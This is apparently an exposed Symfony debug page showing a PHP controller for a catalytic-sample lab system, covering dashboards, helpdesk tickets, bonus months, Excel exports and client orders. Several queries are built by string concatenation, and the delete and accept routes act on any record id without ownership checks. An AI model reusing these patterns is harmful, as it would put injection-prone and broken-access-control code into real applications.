src/Controller/DefaultController.php line 287

Open in your IDE?
  1. <?php
  3. namespace App\Controller;
  5. use App\Entity\AuBatch;
  6. use App\Entity\CatRequest;
  7. use App\Entity\ClientParcel;
  8. use App\Entity\DISQBatch;
  9. use App\Entity\ElSample;
  10. use App\Entity\Exports;
  11. use App\Entity\FABatch;
  12. use App\Entity\FeedEntry;
  13. use App\Entity\FInventory;
  14. use App\Entity\Helpdesk;
  15. use App\Entity\ICPBatch;
  16. use App\Entity\ICPRun;
  17. use App\Entity\Inventory;
  18. use App\Entity\Invoice;
  19. use App\Entity\Log;
  20. use App\Entity\Moists;
  21. use App\Entity\MonthlyBonus;
  22. use App\Entity\Orders;
  23. use App\Entity\Params;
  24. use App\Entity\PRun;
  25. use App\Entity\RRun;
  26. use App\Entity\Stock;
  27. use App\Entity\StockManagement;
  28. use App\Entity\User;
  29. use App\Service\AuBatchManager;
  30. use Doctrine\ORM\EntityManagerInterface;
  31. use Doctrine\ORM\QueryBuilder;
  32. use Doctrine\ORM\Query;
  33. use Doctrine\ORM\Tools\Pagination\Paginator;
  34. use http\Client;
  35. use phpDocumentor\Reflection\Types\Null_;
  36. use Symfony\Component\HttpFoundation\JsonResponse;
  37. use Symfony\Component\HttpFoundation\Request;
  38. use Symfony\Component\Security\Core\Encoder\UserPasswordEncoderInterface;
  39. use Symfony\Component\Routing\Annotation\Route;
  40. use Symfony\Component\HttpFoundation\Response;
  41. use Symfony\Component\HttpFoundation\RedirectResponse;
  42. use Symfony\Component\Serializer\Encoder\JsonEncoder;
  43. use Symfony\Component\Serializer\Encoder\XmlEncoder;
  44. use Symfony\Component\Serializer\Normalizer\AbstractNormalizer;
  45. use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
  46. use Symfony\Component\Serializer\Serializer;
  47. use Symfony\Component\HttpFoundation\ResponseHeaderBag;
  48. use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
  49. use Sensio\Bundle\FrameworkExtraBundle\Configuration\IsGranted;
  50. use Sensio\Bundle\FrameworkExtraBundle\Configuration\Security;
  51. use PhpOffice\PhpSpreadsheet\Spreadsheet;
  52. use PhpOffice\PhpSpreadsheet\Writer\Xlsx;
  53. use PhpOffice\PhpSpreadsheet\Writer\Xls;
  54. use PhpOffice\PhpSpreadsheet\Style\Fill;
  55. use PhpOffice\PhpSpreadsheet\Style\Border;
  56. use PhpOffice\PhpSpreadsheet\Style\Alignment;
  57. use Symfony\Component\HttpFoundation\StreamedResponse;
  60. class DefaultController extends AbstractController
  61. {
  62. /**
  63. * @var EntityManager
  64. */
  65. protected $em;
  67. protected $translator;
  69. protected $passwordEncoder;
  71. public function __construct(EntityManagerInterface $entityManager,UserPasswordEncoderInterface $passwordEncoder)
  72. {
  73. $this->em = $entityManager;
  74. $this->passwordEncoder = $passwordEncoder;
  75. }
  77. private function ensureCurrentMonthExists()
  78. {
  79. $currentDate = new \DateTime();
  80. $currentMonth = (int)$currentDate->format('n');
  81. $currentYear = $currentDate->format('Y');
  83. // Check if current month exists
  84. $existingBonus = $this->getDoctrine()
  85. ->getRepository(MonthlyBonus::class)
  86. ->findOneBy([
  87. 'MonthNo' => $currentMonth,
  88. 'year' => $currentYear
  89. ]);
  91. if (!$existingBonus) {
  92. // Get the most recent bonus record
  93. $lastBonus = $this->getDoctrine()
  94. ->getRepository(MonthlyBonus::class)
  95. ->findOneBy([], ['year' => 'DESC', 'MonthNo' => 'DESC']);
  97. if (!$lastBonus) {
  98. // No records exist, create current month with default target
  99. $newBonus = new MonthlyBonus();
  100. $newBonus->setMonthNo($currentMonth);
  101. $newBonus->setMonthName($currentDate->format('F'));
  102. $newBonus->setYear($currentYear);
  103. $newBonus->setSampleNumber(200);
  104. $newBonus->setActive(true);
  106. $this->em->persist($newBonus);
  107. $this->em->flush();
  108. return;
  109. }
  111. // Get the target from last bonus
  112. $sampleTarget = $lastBonus->getSampleNumber();
  114. // Create all missing months from last existing month to current month
  115. $startDate = new \DateTime($lastBonus->getYear() . '-' . $lastBonus->getMonthNo() . '-01');
  116. $startDate->modify('+1 month'); // Start from next month after last existing
  118. while ($startDate <= $currentDate) {
  119. $monthNo = (int)$startDate->format('n');
  120. $year = $startDate->format('Y');
  122. // Check if this month already exists
  123. $exists = $this->getDoctrine()
  124. ->getRepository(MonthlyBonus::class)
  125. ->findOneBy([
  126. 'MonthNo' => $monthNo,
  127. 'year' => $year
  128. ]);
  130. if (!$exists) {
  131. $newBonus = new MonthlyBonus();
  132. $newBonus->setMonthNo($monthNo);
  133. $newBonus->setMonthName($startDate->format('F'));
  134. $newBonus->setYear($year);
  135. $newBonus->setSampleNumber($sampleTarget);
  136. $newBonus->setActive(false); // Set all to inactive first
  138. $this->em->persist($newBonus);
  139. }
  141. $startDate->modify('+1 month');
  142. }
  144. $this->em->flush();
  146. // Now deactivate ALL months and activate only the current month
  147. $allBonuses = $this->getDoctrine()
  148. ->getRepository(MonthlyBonus::class)
  149. ->findAll();
  151. foreach ($allBonuses as $bonus) {
  152. if ($bonus->getMonthNo() == $currentMonth && $bonus->getYear() == $currentYear) {
  153. $bonus->setActive(true);
  154. } else {
  155. $bonus->setActive(false);
  156. }
  157. }
  159. $this->em->flush();
  160. }
  161. }
  163. /**
  164. * @IsGranted("ROLE_USER")
  165. * @Route("/recent", name="recent")
  166. */
  167. public function recent()
  168. {
  169. return $this->render('cats/recent.html.twig');
  170. }
  171. //=====================================================================================================================================================================================<
  172. /**
  173. * @IsGranted("ROLE_USER")
  174. * @Route("/helpdesk", name="helpdesk")
  175. */
  176. public function helpdesk()
  177. {
  178. $tickets = $this->getDoctrine()->getRepository(Helpdesk::class)->findTicketsSorted();
  180. return $this->render('cats/helpdesk.html.twig', ['tickets' => $tickets]);
  181. }
  183. /**
  184. * @IsGranted("ROLE_USER")
  185. * @Route("/helpdesk/add", name="add_ticket", methods={"POST"})
  186. */
  187. public function addTicket(Request $request, EntityManagerInterface $entityManager) : JsonResponse
  188. {
  189. $data = json_decode($request->getContent(), true);
  190. $ticket = (new Helpdesk())
  191. ->setUser(!empty($data['user']) ? $data['user'] : 'Anonymous')
  192. ->setTitle($data['title'])
  193. ->setIssue($data['issue'])
  194. ->setType($data['type'])
  195. ->setStatus('Open')
  196. ->setPriority('Low')
  197. ->setDateAdded(new \DateTime())
  198. ->setDateModified(new \DateTime());
  200. $entityManager->persist($ticket);
  201. $entityManager->flush();
  203. return new JsonResponse(['message' => 'Ticket created successfully!'], JsonResponse::HTTP_CREATED);
  204. }
  206. /**
  207. * @IsGranted("ROLE_USER")
  208. * @Route("/helpdesk/delete/{id}", name="delete_ticket", methods={"DELETE"})
  209. */
  210. public function deleteTicket(Helpdesk $ticket, EntityManagerInterface $entityManager) : JsonResponse
  211. {
  212. // Check if ticket exists
  213. if (!$ticket) {
  214. return new JsonResponse(['error' => 'Ticket not found'], 404);
  215. }
  217. $entityManager->remove($ticket);
  218. $entityManager->flush();
  220. return new JsonResponse(['message' => 'Ticket deleted successfully'], 200);
  221. }
  223. // Fetch the ticket data by ID
  224. /**
  225. * @IsGranted("ROLE_USER")
  226. * @Route("/helpdesk/edit/{id}", name="helpdesk_edit", methods={"GET"})
  227. */
  228. public function editTicket(Helpdesk $ticket, EntityManagerInterface $entityManager) : JsonResponse
  229. {
  230. if (!$ticket) {
  231. return new JsonResponse(['error' => 'Ticket not found'], JsonResponse::HTTP_NOT_FOUND);
  232. }
  234. // Return ticket data as JSON response
  235. return new JsonResponse([
  236. 'data' => [
  237. 'id' => $ticket->getId(),
  238. 'user' => $ticket->getUser(),
  239. 'title' => $ticket->getTitle(),
  240. 'issue' => $ticket->getIssue(),
  241. 'type' => $ticket->getType(),
  242. 'status' => $ticket->getStatus(),
  243. 'priority' => $ticket->getPriority(),
  244. 'deadline' => $ticket->getDeadline() ? $ticket->getDeadline()->format('Y-m-d') : null
  245. ]
  246. ]);
  247. }
  249. // Update ticket information
  250. /**
  251. * @IsGranted("ROLE_USER")
  252. * @Route("/helpdesk/edit/{id}", name="helpdesk_update", methods={"POST"})
  253. */
  254. public function updateTicket(Helpdesk $ticket, Request $request, EntityManagerInterface $entityManager) : JsonResponse
  255. {
  256. if (!$ticket) {
  257. return new JsonResponse(['error' => 'Ticket not found'], 404);
  258. }
  260. $data = json_decode($request->getContent(), true);
  262. // Update ticket fields
  263. $ticket->setUser($data['user'])
  264. ->setTitle($data['title'])
  265. ->setIssue($data['issue'])
  266. ->setType($data['type'])
  267. ->setStatus($data['status'])
  268. ->setPriority($data['priority'])
  269. ->setDeadline($data['deadline'] ? new \DateTime($data['deadline']) : null)
  270. ->setDateModified(new \DateTime());
  272. if ($data['status'] === 'Closed (Solved)' || $data['status'] === 'Closed (Rejected)'){
  273. $ticket->setDateFinished(new \DateTime());
  274. }
  276. $entityManager->flush();
  278. return new JsonResponse(['message' => 'Ticket updated successfully'], 200);
  279. }
  280. //=====================================================================================================================================================================================<
  281. /**
  282. * @IsGranted("ROLE_USER")
  283. * @Route("/", name="dashboard")
  284. * @param Request $request
  285. * @return Response $response
  286. */
  287. public function index(Request $request)
  288. {
  289. if (in_array("ROLE_LABUSER",$this->getUser()->getRoles())){
  290. // $messages = $this->getDoctrine()->getRepository(FeedEntry::class)->findAll();
  291. $this->ensureCurrentMonthExists();
  292. $month = $request->get("month") ?? null;
  293. $year = $request->get("year") ?? null;
  294. if ($month !=null && $year !=null){
  295. $bonuses = $this->getDoctrine()->getRepository(MonthlyBonus::class)->findOneBy([
  296. 'year' => "$year",
  297. "MonthNo" => "$month"
  298. ]);
  299. } else {
  300. $bonuses = $this->getDoctrine()->getRepository(MonthlyBonus::class)->findOneBy([
  301. "active" => "1"
  302. ],[
  303. 'id' => 'DESC'
  304. ]);
  305. }
  306. // $qb instanceof QueryBuilder
  307. $qb = $this->em->createQueryBuilder();
  308. $qb->select('count(t.id)');
  309. $qb->from(Inventory::class, 't');
  310. $qb->add('where', "t.dateMilled between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-01' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-31 23:59:59'");
  311. // $qb->where('t.dateFinished > 2020-09-18');
  312. $qb->setMaxResults('1');
  313. $milled = $qb->getQuery()->getSingleScalarResult();
  315. // $qb instanceof QueryBuilder
  316. $qb = $this->em->createQueryBuilder();
  317. $qb->select('count(t.id)');
  318. $qb->from(Inventory::class, 't');
  319. $qb->add('where', "t.dateFinished between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-01' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-31 23:59:59'");
  320. // $qb->where('t.dateFinished > 2020-09-18');
  321. $qb->setMaxResults('1');
  322. $result = $qb->getQuery()->getSingleScalarResult();
  324. // $qb instanceof QueryBuilder
  325. $qb = $this->em->createQueryBuilder();
  326. $qb->select('count(t.id)');
  327. $qb->from(Moists::class, 't');
  328. $qb->add('where', "t.DateArchived between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-01' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-31 23:59:59'");
  329. // $qb->where('t.dateFinished > 2020-09-18');
  330. $qb->setMaxResults('1');
  331. $moists = $qb->getQuery()->getSingleScalarResult();
  333. $qb1 = $this->em->createQueryBuilder();
  334. $qb1->select('t');
  335. $qb1->from(FABatch::class, 't');
  336. $qb1->add('where', "t.datefinished between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-01' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-31 23:59:59'");
  337. $anotherresult = $qb1->getQuery()->getResult();
  338. $loginfo= [];
  339. $loginfo2= [];
  340. $batchesdaily = [];
  341. $batchesdaily2 = [];
  342. $anotherresult2 = 0;
  343. $anotherresult4 = 0;
  344. $tasks= [];
  345. foreach ($anotherresult as $x){
  346. array_push($loginfo, $x->getDateFinished()->format('j'));
  347. $sql = "SELECT count(id) FROM fabatch WHERE datefinished between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-". $x->getDateFinished()->format('d') ."' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-". $x->getDateFinished()->format('d') . " 23:59:59'";
  348. $stmt = $this->em->getConnection()->prepare($sql);
  349. $anotherresult2=$stmt->executeQuery()->fetchAllAssociative();
  350. $batchesdaily[$x->getDateFinished()->format('j')] = array_values(array_shift($anotherresult2))[0];
  351. }
  353. $qb3 = $this->em->createQueryBuilder();
  354. $qb3->select('t');
  355. $qb3->from(ICPBatch::class, 't');
  356. $qb3->add('where', "t.date between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-01' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-31 23:59:59'");
  357. $anotherresult3 = $qb3->getQuery()->getResult();
  358. foreach ($anotherresult3 as $x){
  360. array_push($loginfo2, $x->getDate()->format('j'));
  361. $sql = "SELECT count(id) FROM icpbatch WHERE date between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-". $x->getDate()->format('d') ."' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-". $x->getDate()->format('d') . " 23:59:59'";
  362. $stmt = $this->em->getConnection()->prepare($sql);
  363. $anotherresult4=$stmt->executeQuery()->fetchAllAssociative();
  364. $batchesdaily2[$x->getDate()->format('j')] = array_values(array_shift($anotherresult4))[0];
  365. }
  367. // $fortasks = $this->getDoctrine()->getRepository(PRun::class)->findBy([], ['id'=>'DESC'], 1500);
  368. // $fortasks2 = $this->getDoctrine()->getRepository(RRun::class)->findBy([], ['id'=>'DESC'], 8000);
  370. $tasks['WeighQ']= count($this->getDoctrine()->getRepository(RRun::class)->findBy(['status' => 'Weigh Q'])) + count($this->getDoctrine()->getRepository(PRun::class)->findBy(['status' => 'Weigh Q']));
  371. $tasks['FAQ']= count($this->getDoctrine()->getRepository(RRun::class)->findBy(['status' => 'FA Q'])) + count($this->getDoctrine()->getRepository(PRun::class)->findBy(['status' => 'FA Q']));
  372. $tasks['CUPQ']= count($this->getDoctrine()->getRepository(RRun::class)->findBy(['status' => 'CUP Q'])) + count($this->getDoctrine()->getRepository(PRun::class)->findBy(['status' => 'CUP Q']));
  373. $tasks['DISQ']= count($this->getDoctrine()->getRepository(RRun::class)->findBy(['status' => 'DIS Q'])) + count($this->getDoctrine()->getRepository(PRun::class)->findBy(['status' => 'DIS Q']));
  374. $tasks['Confirm']= count($this->getDoctrine()->getRepository(RRun::class)->findBy(['status' => 'Confirm?'])) + count($this->getDoctrine()->getRepository(PRun::class)->findBy(['status' => 'Confirm?']));
  376. // $tasks['WeighQ']=0;
  377. // $tasks['FAQ']=0;
  378. // $tasks['CUPQ']=0;
  379. // $tasks['DISQ']=0;
  380. // $tasks['Confirm']=0;
  381. // $names = array("WeighQ","FAQ","CUPQ","DISQ","Confirm");
  383. // foreach ($fortasks2 as $x){
  384. // /* @var RRun $x */
  385. // $status = str_replace([' ', '?'], '', $x->getStatus());
  386. //
  387. // if (in_array($status, $names)){
  388. // $tasks[$status] = $tasks[$status] + 1;
  389. // }
  390. // }
  391. //
  392. // foreach ($fortasks as $x){
  393. // /* @var PRun $x */
  394. // $status = str_replace([' ', '?'], '', $x->getStatus());
  395. //
  396. // if (in_array($status, $names)){
  397. // $tasks[$status] = $tasks[$status] + 1;
  398. // }
  399. // }
  401. $loginfo = array_unique($loginfo);
  402. $loginfo2 = array_unique($loginfo2);
  403. //dump($batchesdaily);
  404. //dump($anotherresult);
  405. //dump($anotherresult2);
  406. $batchesdaily3 = [];
  408. $batchesdaily = !$batchesdaily ? $batchesdaily = [1] : $batchesdaily;
  409. $batchesdaily2 = !$batchesdaily2 ? $batchesdaily2 = [1] : $batchesdaily2;
  411. for ($x=1;$x<= ((max(array_keys($batchesdaily)) > max(array_keys($batchesdaily2))) ? max(array_keys($batchesdaily)) :max(array_keys($batchesdaily2)));$x++){
  412. $batchesdaily3[$x]=[ (array_key_exists($x,$batchesdaily) ? $batchesdaily[$x] : 0) , (array_key_exists($x,$batchesdaily2) ? $batchesdaily2[$x] : 0) ];
  413. }
  414. foreach ($batchesdaily3 as $key => $x){
  415. if ($x[0] == 0 and $x[1] == 0){
  416. unset($batchesdaily3[$key]);
  417. }
  418. }
  420. return $this->render('cats/dashboard.html.twig', [
  421. // 'messages' => $messages,
  422. 'bonuses' => $bonuses,
  423. 'data' => $result,
  424. 'data23' => $anotherresult,
  425. 'loginfo' => $loginfo,
  426. 'batchesdaily' => $batchesdaily,
  427. 'test2' => $anotherresult2,
  428. 'icp' => $anotherresult3,
  429. 'icp2' => $batchesdaily2,
  430. 'tasks' => $tasks,
  431. 'shaggin' => $batchesdaily3,
  432. 'milled' => $milled,
  433. 'moists' => $moists
  434. ]);
  435. } else if (in_array("ROLE_CLIENT",$this->getUser()->getRoles())){
  436. $user = $this->getUser();
  437. $country = $user->getCountry();
  438. //$parcels = $user->getClientParcels();
  439. $parcels = $this->getDoctrine()->getRepository(ClientParcel::class)->findBy([
  440. 'client' => $user
  441. ],[
  442. 'dateadded' => 'DESC'
  443. ]);
  444. return $this->render('cats/clientdashboard.html.twig', [
  445. 'parcels' => $parcels
  446. ]);
  447. } else {
  448. $user = $this->getUser();
  449. $country = $user->getCountry();
  450. //$parcels = $user->getClientParcels();
  451. $parcels = $this->getDoctrine()->getRepository(ClientParcel::class)->findBy([
  452. 'client' => $user
  453. ],[
  454. 'dateadded' => 'DESC'
  455. ]);
  456. return $this->render('cats/dashboard.html.twig', [
  457. 'parcels' => $parcels
  458. ]);
  459. }
  460. }
  462. /**
  463. * @Security("is_granted('ROLE_SUPER')")
  464. * @Route("/dashboard/export", name="dashboard_export")
  465. */
  466. public function dashboardExport(Request $request): Response
  467. {
  468. $month = (int)($request->get("month") ?? date('n'));
  469. $year = (int)($request->get("year") ?? date('Y'));
  471. // Add date range support
  472. $dateFrom = $request->get("date_from");
  473. $dateTo = $request->get("date_to");
  475. if ($dateFrom && $dateTo) {
  476. $startDate = $dateFrom . " 00:00:00";
  477. $endDate = $dateTo . " 23:59:59";
  478. $fileName = 'CAT_Report_' . str_replace('-', '', $dateFrom) . '_to_' . str_replace('-', '', $dateTo) . '.xlsx';
  479. $reportTitle = 'CATALYTIC SAMPLE SUMMARY - ' . date('M d, Y', strtotime($dateFrom)) . ' to ' . date('M d, Y', strtotime($dateTo));
  480. } else {
  481. $startDate = "$year-" . str_pad($month, 2, '0', STR_PAD_LEFT) . "-01";
  482. $endDate = "$year-" . str_pad($month, 2, '0', STR_PAD_LEFT) . "-31 23:59:59";
  483. $fileName = 'CAT_Report_' . $year . '_' . str_pad($month, 2, '0', STR_PAD_LEFT) . '.xlsx';
  484. $reportTitle = 'CATALYTIC SAMPLE SUMMARY - ' . date('F', mktime(0, 0, 0, $month, 1)) . ' ' . $year;
  485. }
  487. // Main data query
  488. $sql = "
  489. SELECT
  490. i.id AS `ID`,
  491. DATE_FORMAT(i.dateofreceipt, '%Y-%m-%d %H:%i:%s') AS `Date Added`,
  492. DATE_FORMAT(i.date_finished, '%Y-%m-%d %H:%i:%s') AS `Date Finished`,
  493. i.sample_type AS `Type`,
  494. i.sample_sub_type AS `Subtype`,
  495. i.sample_name AS `Sample Reference`,
  496. i.country AS `Country`,
  497. i.exportno AS `Export #`,
  498. o.orderno AS `Assigned Order`,
  499. i.xrfpt AS `XRF PT`,
  500. i.xrfpd AS `XRF PD`,
  501. i.xrfrh AS `XRF RH`,
  502. i.icppt AS `ICP PT`,
  503. i.icppd AS `ICP PD`,
  504. i.icprh AS `ICP RH`,
  505. i.analysis_status AS `Analysis Status`,
  506. COUNT(DISTINCT r.id) AS `Run Count`,
  507. GROUP_CONCAT(DISTINCT r.rrunref ORDER BY r.id SEPARATOR ', ') AS `Run Refs`
  508. FROM
  509. inventory i
  510. LEFT JOIN
  511. rrun r ON r.assigned_sample_id = i.id
  512. LEFT JOIN
  513. orders o ON i.assigned_order_id = o.id
  514. WHERE
  515. i.analysis_status = 'Completed'
  516. AND i.date_finished BETWEEN ? AND ?
  517. GROUP BY i.id
  518. ORDER BY i.date_finished DESC
  519. ";
  521. $results = $this->em->getConnection()->executeQuery($sql, [
  522. $startDate, $endDate
  523. ])->fetchAllAssociative();
  525. // Summary by Sample Type
  526. $summarySQLWithRuns = "
  527. SELECT
  528. i.sample_type,
  529. COUNT(DISTINCT i.id) as total_samples,
  530. COUNT(DISTINCT r.id) as total_runs
  531. FROM
  532. inventory i
  533. LEFT JOIN
  534. rrun r ON r.assigned_sample_id = i.id
  535. WHERE
  536. i.analysis_status = 'Completed'
  537. AND i.date_finished BETWEEN ? AND ?
  538. GROUP BY i.sample_type
  539. ORDER BY i.sample_type
  540. ";
  542. $summaryResults = $this->em->getConnection()->executeQuery($summarySQLWithRuns, [
  543. $startDate, $endDate
  544. ])->fetchAllAssociative();
  546. // Create Spreadsheet
  547. $spreadsheet = new Spreadsheet();
  549. // Sheet 1: Main Data
  550. $sheet1 = $spreadsheet->getActiveSheet();
  551. $sheet1->setTitle('Sample Data');
  553. if (!empty($results)) {
  554. // Headers
  555. $headers = array_keys($results[0]);
  556. $sheet1->fromArray($headers, null, 'A1');
  558. // Style headers
  559. $headerStyle = $sheet1->getStyle('A1:' . $sheet1->getHighestColumn() . '1');
  560. $headerStyle->getFont()->setBold(true);
  561. $headerStyle->getFill()->setFillType(Fill::FILL_SOLID)->getStartColor()->setARGB('FF4472C4');
  562. $headerStyle->getFont()->getColor()->setARGB('FFFFFFFF');
  563. $headerStyle->getAlignment()->setHorizontal(Alignment::HORIZONTAL_CENTER);
  565. // Data
  566. $sheet1->fromArray($results, null, 'A2', true);
  568. // Center all data cells
  569. $lastRow = count($results) + 1;
  570. $lastColumn = $sheet1->getHighestColumn();
  571. $sheet1->getStyle('A2:' . $lastColumn . $lastRow)
  572. ->getAlignment()
  573. ->setHorizontal(Alignment::HORIZONTAL_CENTER);
  575. // Auto-size columns
  576. foreach (range('A', $sheet1->getHighestColumn()) as $col) {
  577. $sheet1->getColumnDimension($col)->setAutoSize(true);
  578. }
  579. }
  581. // Sheet 2: Summary
  582. $sheet2 = $spreadsheet->createSheet();
  583. $sheet2->setTitle('Summary');
  585. $row = 1;
  587. // Build summary table
  588. $sheet2->setCellValue('A' . $row, $reportTitle);
  589. $sheet2->getStyle('A' . $row)->getFont()->setBold(true)->setSize(14);
  590. $row += 2;
  592. // Headers
  593. $sheet2->fromArray(['Sample Type', 'Total Samples', 'Total Runs'], null, 'A' . $row);
  594. $headerStyle = $sheet2->getStyle('A' . $row . ':C' . $row);
  595. $headerStyle->getFont()->setBold(true);
  596. $headerStyle->getFill()->setFillType(Fill::FILL_SOLID)->getStartColor()->setARGB('FF4472C4');
  597. $headerStyle->getFont()->getColor()->setARGB('FFFFFFFF');
  598. $row++;
  600. // Data rows
  601. $totalSamples = 0;
  602. $totalRuns = 0;
  603. foreach ($summaryResults as $result) {
  604. $sheet2->fromArray([
  605. $result['sample_type'],
  606. $result['total_samples'],
  607. $result['total_runs']
  608. ], null, 'A' . $row);
  609. $totalSamples += (int)$result['total_samples'];
  610. $totalRuns += (int)$result['total_runs'];
  611. $row++;
  612. }
  614. $row++;
  616. // Totals
  617. $sheet2->fromArray([
  618. 'TOTALS',
  619. $totalSamples,
  620. $totalRuns
  621. ], null, 'A' . $row);
  622. $sheet2->getStyle('A' . $row . ':C' . $row)->getFont()->setBold(true)->setSize(12);
  623. $sheet2->getStyle('A' . $row . ':C' . $row)->getFill()->setFillType(Fill::FILL_SOLID)->getStartColor()->setARGB('FFD9D9D9');
  625. // Auto-size columns
  626. foreach (range('A', 'C') as $col) {
  627. $sheet2->getColumnDimension($col)->setAutoSize(true);
  628. }
  630. // Generate Excel file
  631. $writer = new Xlsx($spreadsheet);
  633. $temp_file = tempnam(sys_get_temp_dir(), $fileName);
  634. $writer->save($temp_file);
  636. $response = new Response(file_get_contents($temp_file));
  637. $response->headers->set('Content-Type', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');
  638. $response->headers->set('Content-Disposition', 'attachment; filename="' . $fileName . '"');
  639. unlink($temp_file);
  641. return $response;
  642. }
  643. //=====================================================================================================================================================================================<
  644. /**
  645. * @IsGranted("ROLE_USER")
  646. * @Route("/eucats", name="eucats")
  647. */
  648. public function eucats()
  649. {
  650. $user = $this->getUser();
  651. $country = $user->getCountry();
  652. // $samples = $this->getDoctrine()->getRepository(Inventory::class)->findBy([
  653. // 'country' => ["UK","FR","DE","IT","SC","IT1","IT2","IT3","NL"],
  654. // 'sampleType' => ["Model","Models"]
  655. // ],[
  656. // 'id' => 'DESC'
  657. // ]);
  659. return $this->render('cats/eucats.html.twig', [
  660. 'samples' => '$samples',
  661. ]);
  662. }
  663. //=====================================================================================================================================================================================<
  664. /**
  665. * @IsGranted("ROLE_USER")
  666. * @Route("/eucatreqs", name="eucatreqs")
  667. */
  668. public function eucatreqs()
  669. {
  670. $user = $this->getUser();
  671. $country = $user->getCountry();
  672. //dump($country);
  673. $reqs=$this->getDoctrine()->getRepository(CatRequest::class)->findBy([
  674. ],[
  675. 'id' => "DESC"
  676. ]);
  677. //dump($reqs);
  678. return $this->render('cats/eucatreqs.html.twig', [
  679. 'reqs' => $reqs
  680. ]);
  681. }
  682. //=====================================================================================================================================================================================<
  683. /**
  684. * @IsGranted("ROLE_USER")
  685. * @Route("/models", name="models")
  686. */
  687. public function models()
  688. {
  689. $usercountry = $this->getUser()->getCountry();
  690. $newvar = $this->em->getRepository(Inventory::class)->getSearchLists();
  691. // $samples = $this->getDoctrine()->getRepository(Inventory::class)->findBy([
  692. // 'country' => $usercountry,
  693. // 'sampleType' => ["Model","Models"]
  694. // ],[
  695. // 'id' => 'DESC'
  696. // ]);
  698. return $this->render('cats/client.html.twig', [
  699. 'searchlists' => $newvar,
  700. ]);
  701. }
  702. //=====================================================================================================================================================================================<
  703. /**
  704. * @IsGranted("ROLE_USER")
  705. * @Route("/client", name="client")
  706. */
  707. public function client()
  708. {
  709. // $usercountry = $this->getUser()->getCountry();
  710. // $samples = $this->getDoctrine()->getRepository(Inventory::class)->findBy([
  711. // 'country' => $usercountry
  712. // ],[
  713. // 'id' => 'DESC'
  714. // ]);
  715. // $samples2=[];
  716. // if (in_array("WC",$usercountry)){
  717. // $samples2 = $this->em
  718. // ->createQuery(
  719. // "SELECT a FROM App\Entity\Inventory a WHERE a.exportno LIKE '%M%' ORDER BY a.id DESC"
  720. // )
  721. // ->getResult();
  722. // }
  723. // //dump($samples2);
  724. // $samples = array_merge($samples,$samples2);
  725. // return $this->render('cats/client.html.twig', [
  726. // 'samples' => $samples,
  727. // ]);
  728. $usercountry = $this->getUser()->getCountry();
  729. $newvar = $this->em->getRepository(Inventory::class)->getSearchLists();
  730. return $this->render('cats/client.html.twig', [
  731. 'searchlists' => $newvar,
  732. ]);
  733. }
  734. //=====================================================================================================================================================================================<
  735. /**
  736. * @IsGranted("ROLE_USER")
  737. * @Route("/deleteclientorder/{id}", name="deleteclientorder")
  738. * @param int $id
  739. * @param Request $request
  740. * @return Response $response
  741. */
  742. public function deleteclientorder(int $id, Request $request)
  743. {
  744. $order = $this->getDoctrine()->getRepository(ClientParcel::class)->findOneBy([
  745. 'id' => $id
  746. ]);
  747. //dump($order);
  748. $this->em->remove($order);
  749. $this->em->flush();
  750. return new Response ("ayylmao");
  751. }
  752. //=====================================================================================================================================================================================<
  753. /**
  754. * @IsGranted("ROLE_USER")
  755. * @Route("/acceptclientorder/{id}", name="acceptclientorder")
  756. * @param int $id
  757. * @param Request $request
  758. * @return Response $response
  759. */
  760. public function acceptclientorder(int $id, Request $request)
  761. {
  762. /** @var ClientParcel $clientparcel */
  763. $clientparcel = $this->getDoctrine()->getRepository(ClientParcel::class)->findOneBy([
  764. 'id' => $id
  765. ]);
  766. if ($clientparcel->getAccepted() == false){
  767. $clientparcel->setAccepted(true);
  768. $this->em->persist($clientparcel);
  769. /** @var Orders $neworder */
  770. $neworder = new Orders();
  771. $neworder->setSender($clientparcel->getSender());
  772. $neworder->setCourrier($clientparcel->getCourrier());
  773. $neworder->setWaybill($clientparcel->getWaybill());
  774. $neworder->setDateOfReceipt(new \DateTime());
  775. $neworder->setStatus("Open");
  776. $neworder->setOrderno("TO NAME");
  777. $this->em->persist($neworder);
  778. foreach($clientparcel->getDataarray() as $j){
  779. $newsample = new Inventory();
  780. $newsample->setAssignedOrder($neworder);
  781. $newsample->setXrfpt(array_key_exists('pt', $j) ? (float)str_replace(",",".",$j["pt"]) : 0);
  782. $newsample->setXrfpd(array_key_exists('pd', $j) ? (float)str_replace(",",".",$j["pd"]) : 0);
  783. $newsample->setXrfrh(array_key_exists('rh', $j) ? (float)str_replace(",",".",$j["rh"]) : 0);
  784. $newsample->setSampleType($j["type"]);
  785. $newsample->setSampleName($j["reference"]);
  786. $newsample->setCountry($j["country"]);
  787. $newsample->setExportno($j["export"]);
  788. $newsample->setDateofreceipt(new \DateTime());
  789. $newsample->setMass((float)str_replace(",",".",$j['mass']));
  790. $newsample->setAddedtocatalogue(false);
  791. $newsample->setPriority('Normal');
  792. $newsample->setMillStatus("Original");
  793. $newsample->setXrfStatus("To Add");
  794. $newsample->setAnalysisStatus("None");
  795. $newsample->setReady(false);
  796. $this->em->persist($newsample);
  797. }
  798. }
  800. $this->em->flush();
  801. return new Response ("ayylmao");
  802. }
  803. //=====================================================================================================================================================================================<
  804. /**
  805. * @IsGranted("ROLE_USER")
  806. * @Route("/clientaddorder", name="clientaddorder")
  807. */
  808. public function clientaddorder(Request $request)
  809. {
  810. if ( $request->isMethod("post") ) {
  811. $user = $this->getUser();
  812. $info = $request->get('info');
  813. $newparcel = new ClientParcel();
  814. $newparcel->setClient($user);
  815. $newparcel->setCourrier($info["courrier"]);
